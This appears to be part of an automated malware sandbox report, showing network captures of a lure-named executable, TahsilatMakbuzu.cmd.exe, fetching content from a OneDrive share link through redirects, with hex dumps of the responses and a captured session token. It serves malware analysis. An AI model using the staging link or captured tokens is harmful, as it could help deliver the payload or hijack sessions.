C-432F-971F-B5BCD4A88852":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A
2024-07-04 18:18:26 UTC	8192	IN	Data Raw: 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 Data Ascii: ,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267
2024-07-04 18:18:26 UTC	8192	IN	Data Raw: 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 Data Ascii: ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tru
2024-07-04 18:18:26 UTC	8192	IN	Data Raw: 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 Data Ascii: 4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF44
2024-07-04 18:18:26 UTC	8192	IN	Data Raw: 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 Data Ascii: A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E
2024-07-04 18:18:26 UTC	8192	IN	Data Raw: 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 Data Ascii: 2955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-85
2024-07-04 18:18:26 UTC	8192	IN	Data Raw: 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 Data Ascii: true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F7
2024-07-04 18:18:26 UTC	8192	IN	Data Raw: 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 Data Ascii: A8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49865	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:26 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:26 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BN3PPF6842F14B7 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: EOB7cp+cP0iBE7S0VDoDwg.0 X-AsmVersion: UNKNOWN; 19.1458.703.2003 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 877DAB2922974DE1884905FCCC43A1DE Ref B: EWR30EDGE1107 Ref C: 2024-07-04T18:18:26Z Date: Thu, 04 Jul 2024 18:18:26 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49866	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:27 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:28 UTC	2217	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:/IGWs1Wc3Ig=:L/f9slybR0yeDCMGjjwEULR/BErYDIg7hqJ1IXGNSGk=:F; domain=.live.com; path=/ Set-Cookie: xid=a5045077-7005-4fa2-bfa1-980165c0b3ab&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:27 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTA3LCJuYmYiOjE3MjAxMTcxMDcsImdpdmVuX25hbWUiOiIzNyIsImZhbWlseV9uYW1lIjoiV29sZiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImQ5YmE1Y2E2OGQ3YjQxZTFhNWRkYmRhNTljOGE0YzYyIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxMDd9.kdrP-Jkqko4mw1az0dyOw61YvDxqdzbePyBDajpQzfk-8Inytl4npXyOScrKifzb-Y1S5yu_S6JeUeUBcIncBWkMSDQqXyUeE03AZm415LDJt9VDsocTI-fQfYM80SX0SwCuWL0jEcHgZ-6cNv3s0mo8BRk0Rb85ag1YMDjYl6m3mAr-gm-D7HTov7X0ZjdPoer2xoYy69I6I5TXR5qV1UnHv91wLEUoZp8C8D7NAWU36KxLgDrSH_B5mbwCOke080SzH76i9lDGO2eLxEXZqgA2KKhDk8C2wTbvO9MMtkLIW8IjGArud5cvdrPbuuthlnzBmnnKhsdEqDxW9Z782w; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:28 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-sjdbg X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: CD3884F3FCC945D9914BBBEDE8D5DB77 Ref B: BN3EDGE1105 Ref C: 2024-07-04T18:18:27Z Date: Thu, 04 Jul 2024 18:18:28 GMT Connection: close
2024-07-04 18:18:28 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49867	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:29 UTC	1277	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTA3LCJuYmYiOjE3MjAxMTcxMDcsImdpdmVuX25hbWUiOiIzNyIsImZhbWlseV9uYW1lIjoiV29sZiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImQ5YmE1Y2E2OGQ3YjQxZTFhNWRkYmRhNTljOGE0YzYyIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxMDd9.kdrP-Jkqko4mw1az0dyOw61YvDxqdzbePyBDajpQzfk-8Inytl4npXyOScrKifzb-Y1S5yu_S6JeUeUBcIncBWkMSDQqXyUeE03AZm415LDJt9VDsocTI-fQfYM80SX0SwCuWL0jEcHgZ-6cNv3s0mo8BRk0Rb85ag1YMDjYl6m3mAr-gm-D7HTov7X0ZjdPoer2xoYy69I6I5TXR5qV1UnHv91wLEUoZp8C8D7NAWU36KxLgDrSH_B5mbwCOke080SzH76i9lDGO2eLxEXZqgA2KKhDk8C2wTbvO9MMtkLIW8IjGArud5cvdrPbuuthlnzBmnnKhsdEqDxW9Z782w; E=P:/IGWs1Wc3Ig=:L/f9slybR0yeDCMGjjwEULR/BErYDIg7hqJ1IXGNSGk=:F; xid=a5045077-7005-4fa2-bfa1-980165c0b3ab [TRUNCATED]
2024-07-04 18:18:29 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,7305,0,48567,49 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 4f1239a1-b0bb-5000-cec8-cd2f74b2d38d request-id: 4f1239a1-b0bb-5000-cec8-cd2f74b2d38d MS-CV: oTkST7uwAFDOyM0vdLLTjQ.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 24 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F3BBF0BC0AD445D19A4B5E6724C4FA7E Ref B: BN3EDGE0703 Ref C: 2024-07-04T18:18:29Z Date: Thu, 04 Jul 2024 18:18:29 GMT Connection: close
2024-07-04 18:18:29 UTC	2243	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:29 UTC	8192	IN	Data Raw: 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 30 35 37 34 38 38 31 2c 32 31 33 35 30 37 32 36 31 2c 31 36 36 39 34 Data Ascii: ,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,940574881,213507261,16694
2024-07-04 18:18:29 UTC	4144	IN	Data Raw: 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 32 43 45 45 35 2d 31 33 34 33 2d 34 36 39 42 2d 42 32 44 36 2d 37 37 43 Data Ascii: ":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A2CEE5-1343-469B-B2D6-77C
2024-07-04 18:18:29 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:18:29 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
